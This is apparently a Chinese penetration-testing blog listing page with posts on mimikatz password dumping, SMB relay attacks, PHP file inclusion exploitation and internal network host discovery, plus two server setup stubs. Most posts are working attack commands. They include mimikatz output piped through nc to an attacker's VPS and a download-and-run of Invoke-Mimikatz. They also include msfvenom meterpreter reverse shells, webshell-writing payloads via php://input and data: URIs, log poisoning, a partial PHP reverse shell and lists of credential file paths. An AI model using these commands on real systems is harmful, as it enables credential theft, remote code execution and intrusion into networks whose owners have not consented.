Evil-404

专注于 APT 攻防研究,致力于高质量实用干货分享


  • 首页

  • 导航

  • 分类

  • 归档

  • 标签

  • 关于

  • 搜索

mimikatz 用法小记 [ 非交互抓取本地密码明文及hash ]

发表于 2016-07-24 | 更新于: 2017-11-09 | 分类于 get hash
字数统计: 673 | 阅读时长 ≈ 3



0x01 非交互抓明文,即不在目标系统上留下任何文件,直接把抓取到的结果用nc发送到指定的远程机器[一般都是自己的vps]上,可能有些端口穿透性不太好,不妨多换几个常用的试试,如,80,8080,443,53……

1
2
# mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit |  nc -vv 192.168.3.251 1234  在目标机器上执行
# nc -lvp 1234 本地[实际中通常都是在自己的vps上]机器执行

0x02 本地非交互抓明文,把抓取到的hash结果重定向到目标系统的指定文件中

1
# mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full""  exit >> shash.txt

0x03 有时候由于杀软的问题,直接在目标系统上抓可能需要免杀,这时我们就可以先利用procdump把lsass.exe进程中的数据导出到指定文件中 [可能会有点儿大],再把导出的文件下回到本地用mimikatz读取文件中的密码hash,以实现免杀效果,不过需要注意的是,本地读文件的系统平台和目标的系统务必完全一致

1
2
先在目标机器上执行:
# procdump64.exe -accepteula -ma lsass.exe lsass.dmp

1
2
3
4
把dmp文件下回到本地机器上执行[注意,本地机器的系统和目标系统务必要保持完全一致]:
# mimikatz.exe
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonPasswords full

0x04 最后一种,在目标本地非交互抓hash的方式,利用powershell版的Mimikatz进行抓取,powershell本身就有一定的免杀效果,起码,目前为止对360杀毒是没有任何感觉的,但Nod基本是秒的,这个大家可以根据自己的实际情况而定,选择性使用

1
2
# powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds" | nc -vv 192.168.3.28 1234
# nc -lvp 1234 本地[实际中通常都是在自己的vps上]机器执行

0x05 关于mimikatz 在域内网渗透中的更多实战用法,篇幅限制,待续……

一点小结:
    关于mimikatz的更多细节,如果大家有兴趣想深入研究,在作者的博客上已经提供了该工具的源码,有能力请自行详读,另外,需要提醒一下凡是要涉及触及到系统底层的敏感操作,务必最少都要有管理员权限,抓hash自然也不例外,不出意外的情况下,我们在成功提权[获取system权限]以后的下一步操作一般就是抓hash,好啦,废话就不多说了,这些东西想必大家都已经非常熟练了

smb重放攻击 [smb中间人]

发表于 2016-07-20 | 更新于: 2017-11-17 | 分类于 smb attack
字数统计: 1,978 | 阅读时长 ≈ 7



0x01 在演示smb重放攻击之前,我们还是需要先搞清楚ntlm的基本认证过程,因为smb登录基于这个,正常情况下,ntlm的简要认证详细流程如下:

ntlm认证过程

1
client端  <----->  server端

1
2
3
4
5
6
7
1,正常情况,当client端登陆时需要先输入username,password和domain[默认是.,表示本地],之后client端会自己计算出password用DES加密后的hash,并将此hash暂时保存在本地
2,接着,client端会将自己的username明文发送给DC[server]
3,此时,DC会生成一组8字节的随机数,也叫challenge[挑战码],返回给client端
4,当client端在收到这个挑战码以后,会把先把它拷贝一份出来,然后再拿着这个挑战码和之前已经加密的密码hash再进行一次加密,加密后的东西叫response[响应],最后再将challenge,response和username一并发送给server端
5,server端在接收到client端传过来的这个三个值以后会将它们分别都转发给DC
6,DC在接收到username,response,challenge以后,会根据传过来的username,到自己的账号数据库中去查出来这个username所对应的hash,然后,再拿着这个hash和刚刚传过来的challenge再进行一次加密
7,最后,就剩比对了,把客户端传过来的response和在[6]中最后加密的hash值进行对比,如果一致,ok,认证通过,登录成功,反之,则登录失败

0x02 下面,我们就来简单再现一下smb的整个重放攻击过程:

1
client端  <-----> 攻击者 <----->  server端

和上面的拓扑基本一致,只不过在此时,在client端和server端中间多了个攻击者,但双方在整个通信过程中都并不知道攻击者的存在,此时,我们本来正常的认证过程就变成了下面的样子:
重放过程

1
2
3
4
5
6
1,client端还是正常向服务端发送登录请求,由于client端此时并不知道攻击者的存在,它以为请求是发送给了server端,但实际上它是先发给了攻击者
2,然后攻击者再拿着这个username假装成client端发送给server端,此时server端正常返回一个challenge
3,攻击者拿到这个challenge以后再把它返回给client端
4,而client端拿到challenge在本地和自己的password DES加密以后,会把这个response再次发送给攻击者,此时client依然还以为攻击者就是server端
5,最后,攻击者会拿着client端发过来的这个response再把它交给server端去验证
7,server端此时到自己的数据库中一对比,发现hash一致,认证通过,登录成功,可见,一次简易的smb中间人攻击就这样被完成了

0x03 接着就来简单模拟下如何利用这种一攻击手法:

1
2
3
4
首先,准备好三台机器,且在同一内网中,且已确保它们之间的通信没有任何问题
受害者机器[win2008R2 en] ip: 192.168.3.125
攻击者机器[ubuntu 16.04 LTS en] ip: 192.168.3.136
第三方机器[win2008R2 cn] ip: 192.168.3.23

我们最终要达成的目的,如下:

1
通过smb重放攻击,获取目标机器(192.168.3.125)的meterpreter

在攻击者的机器上准备好下面的东西,生成并监听我们的马,下载安装impacket:

1
2
3
4
5
6
7
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.136 LPORT=1234 -f exe -o /home/tools/shell.exe

msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 1234
msf > set lhost 192.168.3.136
msf > exploit -j

1
2
3
4
5
6
7
8
9
10
# pip install pycrypto   安装依赖的加密库
# apt-get --reinstall install python-pyasn1 python-pyasn1-modules
# git clone https://github.com/CoreSecurity/impacket.git
# chmod -R 755 impacket
# cd impacket/
# python setup.py install
# cd examples/
# python smbrelayx.py -h
-h 指定要攻击的机器
-e 当认证成功以后,指定要执行的文件,一般都是我们事先准备好的马

在第三方机器上执行如下命令,向攻击者传送smb流量,注意,我这里的账号密码其实就是192.168.3.125正确的系统账号密码:

1
# net use \\192.168.3.136\c$ "lala!@#45" /user:"administrator"

往攻击机上执行net use

此时,当我们再回到攻击机上时就可以看到,当别人net use到攻击机上时,攻击者很轻易就捕捉到了smb 的登录凭证hash,然后,它又接着拿着这个hash到192.168.3.125[也就是我们的目标机器]去尝试登录,其实这就是所谓的重放,一旦登录成功,就会自动执行我们的马[类似我们用wmic远程执行代码]

1
# python smbrelayx.py -h 192.168.3.125 -e /home/tools/shell.exe

重放过程

可以看到,当我们重放登录成功,文件就会被正常执行,meterpreter亦被正常弹回


我们现在可以再试下,如果此时net use的密码不对,又会出现什么样的状况,很显然,下面的结果已经说的很清楚了,尝试在192.168.3.125上重放时失败了,原因也已经很清楚了,密码不对,马自然也就执行不了,因为根本没法wmic

1
net use \\192.168.3.136\c$ "a!@#45" /user:"administrator"



过程中需要注意的一些点:
    你可能一直在疑惑的是,受害者怎么会自己傻到net use到攻击者的机器上呢,没错,正常情况下肯定不会,如果想让同内网下别的机器上的流量流过自己,无非就是通过欺骗,因为smbrelayx本身并没有带类似的功能,所以,它并不能自动抓取内网中的所有smb流量,如果想让所有的流量都自动流过攻击者的机器,可能还需要配合Responder来一起实现,这里只是为了给大家看下攻击后的效果,所以,我的net use 就直接指向了攻击机,这样一来smb流量自然就能流过它[攻击机]了,当我们直接net use到攻击机时,其实我们的smb hash也会一并发送给它,然后脚本会拿着这个hash到目标机器上去认证,认证成功后即可执行我们的马,此时meterpreter正常弹回,如果认证失败,则不进行任何操作,注意,因为我这里只是测试,实际中你是几乎不可能指望别人直接net use到攻击机上的,还是那句话,这就需要你配合欺骗来一起利用,让所有的smb流量都经过你,然后抓取里面的登录凭证挨个到目标机器上去重放

小结:
    单从攻击的原理上来讲,其实非常简单,也并非什么新技术,类似的重放不仅仅适用于内网,web也同样适用,言辞比较粗糙,只是想把原理尽量跟大家说明白,既然已经有人帮我们实现了这样的脚本,我们就省的自己重复造轮子了,后期还会单独说明如何配合Responder全自动定向攻击特定内网机器,细心的朋友可能会发现,smb中间人,似乎跟,hash传递,票据窃取……都是非常类似的攻击手法,至于漏洞危害个人觉得还是比较大的,尤其是在windows内网中[比如域],因为它不是靠漏洞来攻击的,基于这个思路演变出来的攻击手法其实还有非常多,任何能产生smb登录的条件你甚至都可以利用,篇幅原因就先说到这里吧,个人理解可能比较有限,欢迎大家一起来深入讨论,始终坚信,抛砖才能引玉

centOS7_x64 + php7.1.9 + mysql 5.7.18 + nginx-1.12.1

发表于 2016-06-28 | 更新于: 2017-11-30 | 分类于 env
字数统计: 1,882 | 阅读时长 ≈ 11


一、首先,部署nginx

0x01 依旧接着我们之前准备好的系统继续,首先,将所有准备安装的软件包上传至服务器,软件包列表如下:

1
2
3
4
libiconv-1.14.tar.gz
mysql-5.7.18-linux-glibc2.5-x86_64.tar.gz
nginx-1.12.1.tar.gz
php-7.1.9.tar.gz

此次要实现的大致架构如下:

1
centOS7 + php7.1.9 + mysql 5.7.18 + nginx-1.12.1

阅读全文 »

centOS7_x64 + httpd 2.4.27 + mysql 5.7.18 + php 7.1.9

发表于 2016-06-27 | 更新于: 2017-11-30 | 分类于 env
字数统计: 2,332 | 阅读时长 ≈ 13



一、首先,部署apache

0x01 关于centOS7的安装就不细说了,依然是最小化安装,只勾选必要的系统库及常用工具,务必记得先禁用selinux和系统防火墙,此次部署环境软件包如下:

1
2
3
4
5
6
7
apr-1.6.2.tar.gz
apr-util-1.6.0.tar.gz
cronolog-1.6.2.tar.gz
httpd-2.4.27.tar.gz
libiconv-1.14.tar.gz
mysql-5.7.18-linux-glibc2.5-x86_64.tar.gz
php-7.1.9.tar.gz

要实现的架构大致如下:

1
centOS7_x64 +  httpd 2.4.27 + mysql 5.7.18 + php 7.1.9

阅读全文 »

php 包含利用小记 [ RFI / LFI ]

发表于 2016-06-27 | 更新于: 2017-11-09 | 分类于 inclusion
字数统计: 2,509 | 阅读时长 ≈ 11

0x01 下面是常用的一些php包含函数,没列完,详细用法大家还是自己看手册吧,上面说的比较详细:

1
2
3
4
5
6
7
inluce()
inluce_once()
require()
require_once()
fopen()
readfile()
……

0x02 php本地包含简单利用过程[LFI]:

1), 搜集各种目标服务器的各种敏感路径,后面可能会利用到这些,这里写的不全,有整理好的fuzzdb,大家可以参考那个:

win 各类敏感文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
c:\WINDOWS\system32\eula.txt
c:\boot.ini
c:\WINDOWS\win.ini
c:\WINNT\win.ini
c:\WINDOWS\Repair\SAM
c:\WINDOWS\php.ini
c:\WINNT\php.ini
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
c:\Program Files\xampp\apache\conf\httpd.conf
c:\php\php.ini
c:\php5\php.ini
c:\php4\php.ini
c:\apache\php\php.ini
c:\xampp\apache\bin\php.ini
c:\home2\bin\stable\apache\php.ini
c:\home\bin\stable\apache\php.ini
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log

linux 各类敏感路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/var/log/apache2/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/error_log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_ log
/usr/local/apache/logs/access. log
/var/log/apache/access_log
/var/log/apache2/access_log
/var/log/apache/access.log
/var/log/access_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log

高权限的情况下,可以先顺便看看目标系统的各类系统配置文件,说不定在这里就已经有收获了,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
/proc/self/environ
c:\WINDOWS\TEMP\
c:\php\sessions\
c:\php5\sessions\
c:\php4\sessions\
/etc/issue
/etc/motd
/etc/passwd
/etc/group
/etc/resolv.conf
/etc/shadow
.htaccess
config.php
authorized_keys
id_rsa
id_rsa.keystore
id_rsa.pub
known_hosts
.bash_history
.mysql_history
.my.cnf

2),选择要包含的对象:

普通权限下的包含:

利用php的各种伪协议[主要是控制文件流输出即写文件,可能你还要对你所要写的那个目录有写权限才行] ,利用条件[这些信息全部可以在phpinfo中看到]:

1
2
小于5.0 即使allow_url_include=Off 可用
大于5.0 只有allow_url_fopen=on才能用



利用 php://input 写shell

1
2
http://192.168.3.10/bWAPP/rlfi.php?language=php://input&action=go
POST: <?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["request"]);$sl();?>') ?>


利用 data: 写shell

1
2
<?php fputs(fopen("HELPS.php","a"),'<?php $sl = create_function("", @$_REQUEST["sec"]);$sl();?>') ?>  编码前的webshell
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain,<?php fputs(fopen("infos.php","a"),'<?php $sl = create_function("", @$_REQUEST["klionsec"]);$sl();?>') ?>&action=go


1
http://192.168.3.10/bWAPP/rlfi.php?language=data:text/plain;base64,PD9waHAgZnB1dHMoZm9wZW4oIkhFTFBTLnBocCIsImEiKSwnPD9waHAgJHNsID0gY3JlYXRlX2Z1bmN0aW9uKCIiLCBAJF9SRVFVRVNUWyJzZWMiXSk7JHNsKCk7Pz4nKSA/Pg==&action=go


利用 php://filter 读取目标敏感文件 [可以是相对,绝对和远程路径{ftp,http}]

1
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/resource=./admin/settings.php&action=go  最好不要用这个,貌似不能写,读不出来

1
2
把读出来的内容base64解码一下,就可以看到明文内容了
http://192.168.3.10/bWAPP/rlfi.php?language=php://filter/convert.base64-encode/resource=./admin/settings.php&action=go

利用 zip:// 传shell

1
http://192.168.3.10/bWAPP/rlfi.php?language=zip://./options.zip%23options&action=go  这里的#务必要转成url编码后的%23,自己本地测时候不太靠谱

利用 phar:// 原理同上

1
http://192.168.3.10/bWAPP/rlfi.php?language=phar://./ex.phar%23ex&action=go 也不太好使

利用 expect://ls 可直接执行系统命令,自己多次尝试并未成功,且默认该模块是没有启用的

尝试把一句话放到user-agent或者请求里面 [注意编码,用burp拦下改过来或者直接用nc就好了],然后想办法去包含目标的web访问日志文件
前提是你要找到这些日志文件的物理路径才行],另外,还有一点需要说明下,对于一些正常企业的web服务器来讲,他们的日志一般都是按日期切割保存的,即使被你侥幸猜到了访问日志的文件名,但单个日志文件也仍然是比较大的,显然,这时再去包含日志就很不明智了
说这个,并不是想说这种方法不管用,实际渗透你要按你自己目标的实际情况来,对了,顺便再补充一句,虽然,访问日志的文件很大,但你还可以包含错误日志呀

1
2
3
4
5
6
# nc 192.168.3.10 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1 这里不一定非要用一句话,你还是尝试把它直接换成一个上传表单或者直接从远程下载webshell也是可以的
Host: 192.168.3.10
Connection: close

http://192.168.3.10/bWAPP/rlfi.php?language=/var/log/apache2/access.log&action=go&cmd=w


跟包含日志差不你也可以把一句话放到user-agent中然后包含/proc/self/environ这个系统环境变量,用法同上,不再赘述

尝试包含服务端的session文件,想要包含session,你务必要先确定这个session的文件名,不出意外的情况下,这个session文件名应该是PHPSESSID加上’sess_’前缀,一般会被放到下面的这里目录中,另外,利用的时候动作务必要快,因为一个session 如果长时间没动作,很快就会被回收[php自身的垃圾回收机制]

1
2
3
4
5
可能存放session的一些目录:
/var/lib/php5/
/var/lib/php/
/tmp/
……

session 内容一般都是类似下面的这种形式,不过前提是你要能控制这段session才行:

1
2
login|s:3:"bee";admin|s:1:"1";token|s:40:"c0c7fa8b6d373ad173fe7d99019a183d3bd3d888";amount|i:1000;
http://192.168.3.10/bWAPP/rlfi.php?language=/var/lib/php5/sess_b449542fdbd76c4e860e6ea34a3c46a2&action=go&cmd=id

包含自己上传到目标机器的的其他文件 [如,图片马(不一定非要用真正的图片马,如果验证不是很严,随便一个shell改下后缀就好了),txt,附件……]

1
http://192.168.3.10/bWAPP/rlfi.php?language=/var/www/shell.jpg&action=go&cmd=id

通过目标邮件来反弹shell [实际渗透中暂时还没尝试过,本地也未成功,后期搞清楚问题在哪里,再更新上来]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# smtp-user-enum -M VRFY -U /home/weak_wordlist/userall.txt -t 192.168.3.10  先来枚举下目标系统有哪些用户
# telnet 192.168.3.10 25
HELO localhost
mail from:<root>
rcpt to:<www-data>
data

<?php
set_time_limit(0);
$VERSION = "1.0";
$ip = "192.168.3.9";
$port = 80;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

配合phpinfo来包含,其实也是包含临时文件的一种方法,可惜没有成功,初步估计是脚本的问题,后期手工再试试,成功以后会把过程再更新上来

0x03 包含时经常会遇到的一些问题

1
%00 ? 后面拼接有多余的后缀,可利用各种空字节来尝试截断,当然啦,转义开关肯能需要关上, php小于 5.3.4可行

尝试超长路径截断,在正常的路径后面跟上超长字符,可用.小于5.2.8,如下:

1
2
3
/var/log/apache2/error.log.........................................................................................
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../var/log/apache2/error.log
/var/log/apache2/error.log/../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../

有时候可能会有过滤路径分隔符的问题,可以尝试用%2F代替

如果后端是类似白名单的检查,就不太好过了,正在学习中……希望表哥们能多多提携

问题其实还有很多很多,正在学习中,待续……

0x04 php远程包含[RFI]:

1
2
3
利用条件:
allow_url_fopen=On
allow_url_include=On

简要利用过程[基本同上,同样,如果是那种白名单的检查,想过还是比较难的]:

1
http://192.168.3.10/bWAPP/rlfi.php?language=http://192.168.3.9/phpinfoupload.html&action=go

0x05 最后,还有一个比较好用的利用方式,就是直接利用msf的php payload 弹回一个meterpreter的shell,有一个功能完备的shell这是我们所期望的:

先装个小工具,等会儿要用到

1
2
3
# apt-get install xclip -y
# alias pbcopy='xclip -selection clipboard'
# alias pbpaste='xclip -selection clipboard -o'

先用msf生成好php的payload,之后稍微处理下

1
2
# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.3.9 LPORT=53 -f raw > shell.php
# cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

本地监听准备先准备好

1
2
3
4
5
6
# msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.3.9
msf exploit(handler) > set lport 53
msf exploit(handler) > exploit -j

这时尝试包含我们msf的php shell,访问之后,shell顺利弹回,注意,这期间浏览器会一直处于阻塞状态,直到会话断开,粗略的看了一眼代码,应该是在用php循环的发socket,这个shell应该比菜刀的一句话强多了吧


后话:
    以后文章中的所有漏洞利用过程,尽量会全部在本地搭环境重现[其实,实际渗透跟这个也差不太远,主要是可能会出各种各样的问题,仅仅就差那个解决问题的过程没掌握到而已],公开的东西,用实例始终是不太好的,大家谅解哈,关于php包含实际渗透中能用到的,我自己所知道的可能就这些了,希望表哥们能把自己压箱底的家伙都共享出来,小弟好多多学习……

如何在目标内网中发现更多存活主机 [arp,icmp,tcp/udp,smb,snmp ...]

发表于 2016-06-26 | 更新于: 2017-11-21 | 分类于 pentset
字数统计: 3,081 | 阅读时长 ≈ 13



0x01 基于不同平台下的各种arp扫描方法
    首先,尝试基于arp的各种内网主机发现方式,它可以轻易bypass掉各类应用层防火墙,这是大家都知道的,如果是专业的arp防火墙,呵呵……

0x02 在win下进行各种arp扫描:

1
# start /b arpscan.exe -t 192.168.3.0/24 >> result.txt

''

利用powershell脚本进行arp扫描,这也是个人比较推荐的方式,轻量且免杀效果较好,系统自带,灵活方便:

1
# powershell.exe -exec bypass -Command "Import-Module C:\Invoke-ARPScan.ps1;Invoke-ARPScan -CIDR 192.168.3.0/24"  >> result.txt

''

说到powershell 这里就不得不顺带提下empire,它里面同样提供了用于arp扫描的模块,而且比msf的arp更好用[一款优秀的域内网渗透框架,经常进行win内网渗透的朋友,应该用的非常多,这里就不多说了]:
''

使用老旧的nmap,另外在win下使用,可能需要你先装好所需的win运行库和npcap,在安装该库的时候,默认选项即可,注意,如果是在中文系统中安装还有点儿问题,推荐用英文系统,所需的所有依赖库在nmap程序包中都已自带,说实话,个人并不建议直接把nmap丢到目标机器上用,没有图形界面的情况下安装依赖库还是比较麻烦的,另外,如果仅仅是存活扫描,它肯定也不会是首选,起码不是自己的首选:

1
# nmap -sn -PR  192.168.3.0/24  以arp的方式扫描

''

在cain中也带了arp扫描功能,虽然,工具已经n年没有更新过了,但依然经典,建议在03以下的系统使用,另外,它需要免杀:
''

0x03 在 linux 下进行 arp 扫描 :
    其实,在一些主流的linux发型版软件包中已经默认自带了nmap,不过是5.0版本的,一般的运维可能也不会装,所以还是自己动手编译装下吧,这里顺便多一嘴,在目标机器上安装工具,尽量源码编译安装,走的时候,相对容易处理干净:

1
2
3
4
5
6
7
8
9
10
11
# wget https://nmap.org/dist/nmap-7.40.tar.bz2
# bzip2 -cd nmap-7.40.tar.bz2 | tar xvf -
# cd nmap-7.40
# ./configure 这里可以用--prefix指定安装路径
# echo $?
# make
# make install
# echo $?
# make install
# echo $?
# nmap -sn -PR 192.168.3.0/24 尝试arp扫描

''

编译安装arpscan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# unzip arpscan.zip
# cd arpscan
# autoreconf --install
# ./configure 工具依赖libpcap库,这里需要先把库装好
# wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gz
# tar -zxvf libpcap-1.1.1.tar.gz
# cd libpcap-1.1.1
# ./configure
# echo $?
# make && make install
# echo $?
# cd ..
# ./configure 再次执行检测
# echo $?
# make
# echo $?
# chmod -R 755 ./* 先给下权限,不然执行检测时无法通过
# make check
# make install
# echo $?
# arp-scan --interface=eth3 --localnet 扫描指定网卡的网段

''

0x04 其它的一些arp扫描方法:
    如果你直接就处在别人的vpn内网中,也可以选择用netdiscover(kali自带),指定那个vpn内网的网卡接口进行arp扫描即可,速度还行

1
# netdiscover -r 192.168.3.0/24 -i eth0

''

使用msf内置的各种arp扫描模块,还是那句话,如果你目前已经直接处在对方的内网环境中,可以直接用下面的模块

1
2
3
4
5
6
7
8
msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set interface eth0
msf > set smac 00:0c:29:92:fd:85
msf > set rhosts 192.168.3.0/24
msf > set threads 20
msf > set shost 192.168.3.28
msf > run

''

如果你只是拿到对方内网中的一个meterpreter,也可以用meterpreter中内置的arp扫描模块,不过在此之前,你可能还需要在中间先添加一条路由:

1
2
3
meterpreter > getsystem 	另外,在目标机器上扫描时,务必先提权,纯属个人建议,会方便很多,不然扫描过程中可能会有些问题
meterpreter > run autoroute -s 192.168.244.0/24
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.3.0/24

''



0x05 基于icmp的各种内网主机发现方式,如果防火墙过滤的icmp请求,这种方式基本就废了,不过如果是在域还是挺好使的:

0x06 在win下进行各种icmp扫描:

cmd中执行如下命令,对整个C段进行ping扫描

1
# for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.3.%I | findstr "TTL=" >> result.txt   扫描从1到254这么多台机器

''

nmap中同样也提供了基于icmp的扫描方式,PE就是最普通的icmp echo request,另外,还有基于timestamp和netmask request discovery的icmp扫描方式

1
# nmap -sn -PE 192.168.3.0/24

''

使用nping,在nmap程序包中一般也会自带,win下使用暂时还有些儿问题,工具也比较老了,不多说

1
# nping --icmp --icmp-type time 192.168.3.0/24 | findstr "reply"

''

利用powershell对目标内网进行icmp扫描

1
# powershell.exe -exec bypass -Command "Import-Module C:\Invoke-TSPingSweep.ps1;Invoke-TSPingSweep -StartAddress 192.168.3.1 -EndAddress 192.168.3.254 -ResolveHost -ScanPort -Port 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084,8085,8086,8087,8089,9090,10000"    目标网段,并非仅限C段,比如你也可以写成这种方式192.168.3.1 - 192.168.31.254

''

0x07 在linux下使用各类icmp扫描:
最简单的方式,将下面的代码保存至shell中,赋予其执行权限,执行该脚本即可

1
2
3
4
5
6
7
8
#!/bin/bash
for ip in 192.168.3.{1..254}
do
ping $ip -c 1 &> /dev/null
if [ $? -eq 0 ];then
echo $ip is alive ....
fi
done

''

同上,依然可以使用nmap的icmp扫描

1
# nmap -sn -PE 192.168.3.0/24

''

使用nping,用法依然是跟上面一致

1
# nping --icmp --icmp-type time 192.168.3.0/24 | grep "reply"

''

0x07 基于smb和netbios的内网主机发现方式,这种方式通常在win内网中非常实用:
win下:

1
# nbtscan.exe -m  192.168.3.0/24   非常经典的小工具

''

linux下:

1
2
3
4
5
6
# wget http://www.unixwiz.net/tools/nbtscan-source-1.0.35.tgz
# tar -zxvf nbtscan-source-1.0.35.tgz
# make
# echo $?
# ./nbtscan -h
# ./nbtscan -m 192.168.3.0/24

''

其它的一些smb发现方式:

通过已经弹回的meterpreter,在目标机器上添加路由之后,使用smb_version模块亦可实现同样的目的:

1
/auxiliary/scanner/smb/smb_version

''

0x08 基于常规tcp/udp端口扫描的内网主机发现方式,还是那句话,如果防火墙或者其他防护系统阻隔了对某些端口方法,依然是个废:

scanline tcp/udp端口扫描,非常经典的小工具,单文件,实际渗透中比较方便:

1
2
# sl -htz 192.168.3.1-160   默认不指定端口的情况下,会按它自己的高危来扫,至于扫哪些端口,请自行查看mcafee官网
# sl -hz -t 21,22,23,25,53,80-89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080-8089,9090,10000 -u 161 192.168.3.1-160 >> result.txt

''

nmap tcp/udp端口扫描:

1
# nmap --script smb-enum-shares.nse -p445 192.168.3.0/24  扫描可读写共享,能力非常有限,已经有很多更好的替代品

''

superscan tcp/udp端口扫描:
纯图形化界面,使用非常简单,另外,它也可以专门用来枚举特定机器的信息,只是用于枚举的时候,不能直接指定网段,简直可惜
''

msf中也内置了各种各样的服务端口扫描模块,不过,你可能需要先提权然后添加路由才可以正常使用,当然,如果你直接处在对方内网中就不用了:

1
2
3
4
5
6
msf > use auxiliary/scanner/portscan/*
msf > use auxiliary/scanner/smb/*
msf > use auxiliary/scanner/smtp/*
msf > use auxiliary/scanner/snmp/*
msf > use auxiliary/scanner/telnet/*
……

''

另外,还有个非常不错的py小脚本F-NAScan,速度很快,在linux内网机器上会非常好用[前提是要对应版本的py环境才行]

1
# python F-NAScan.py -h 192.168.3.1-192.168.3.250 -p 21,22,23,25,53,80,81,82,83,84,85,86,87,88,89,110,111,143,389,443,445,873,1025,1433,1521,2601,3306,3389,3690,5432,5900,7001,8000,8080,8081,8082,8083,8084 -m 30 -t 5

''

0x09 如果你当前shell权限确实很有限或由于其它各种各样的原因导致我们暂时没法代理进内网,借助web脚本实现对内网进行窥探无疑是个非常好的方式:

基于 aspx 的内网存活探测脚本:
''

基于 php 的内网存活探测脚本:
''

基于 jsp 的内网存活探测脚本:
''

0x10 在域内环境下的主机发现方式,一般在域内,各种条件相对来说还是比较宽松的,因为大多数都可能是办公网:

1
2
# net view
# dsquery computer 其实,域内最好用的外部也就是nbtscan了

''

0x11 基于snmp的内网信息搜集方式:

1
待续……

0x12 最后,再介绍个好玩的ip流量监控小工具

1
iptraf

一个查端口对应的服务的小工具,有兴趣可自行尝试

1
whatportis



小结:
    所有的扫描,有条件的情况下务必都在管理员权限下运行,对于内网主机发现,个人平时大概用到的,基本也就这些了,只不过在实际扫的时候,记得线程给的不要太高,一次扫的端口不要过多,如果工具里面自带的有随机扫ip的选项,最好也把它加上,另外,在内网中,理论上来讲,你应该首先瞄准找一些能快速getshell的内网机器,比如,sa,smb,ftp针对linux,能读写的匿名共享等……严禁大规模漫无目的的扫描,当你拿到一台机器以后,马上上去把能抓的密码hash都抓一下,比如,浏览器中的各种密码,本机的hash,常用软件中的各种密码hash等等……,实在不行再上键盘记录,拿到这些密码以后再慢慢拓展其它机器,切记,尽量不要进行长时间大流量的扫描动作基本上我们现在所用的工具报文标志早已被写进各类ids的识别规则里了,尤其是针对nmap的,会在对方系统中留下大批的扫描日志不说,稍微严谨点儿的内网可能会触发报警,甚至直接锁定ip,内网不比web,在web中你也许可以相对放开点去搞,但内网中,务必小心谨慎,权限来之不易,绝对不能让它轻易的掉了,尽你所能的稳住当前机器,另外,在平时的内网渗透中,能用系统自身工具搞定的,尽量都用系统自带的工具来搞其实,系统自己就已经有非常多的渗透工具,可能只是暂时还没有很好的被发掘出来,这一点非常重要,大家从现在开始,也应该尽量养成自己这样的习惯,尽可能的减少使用一些外部工具,越少越好,安全性没法保障的同时,可能实际使用中也并不是很方便,灵活性就更不用说了,尤其在一些比较畸形的内网中,由于种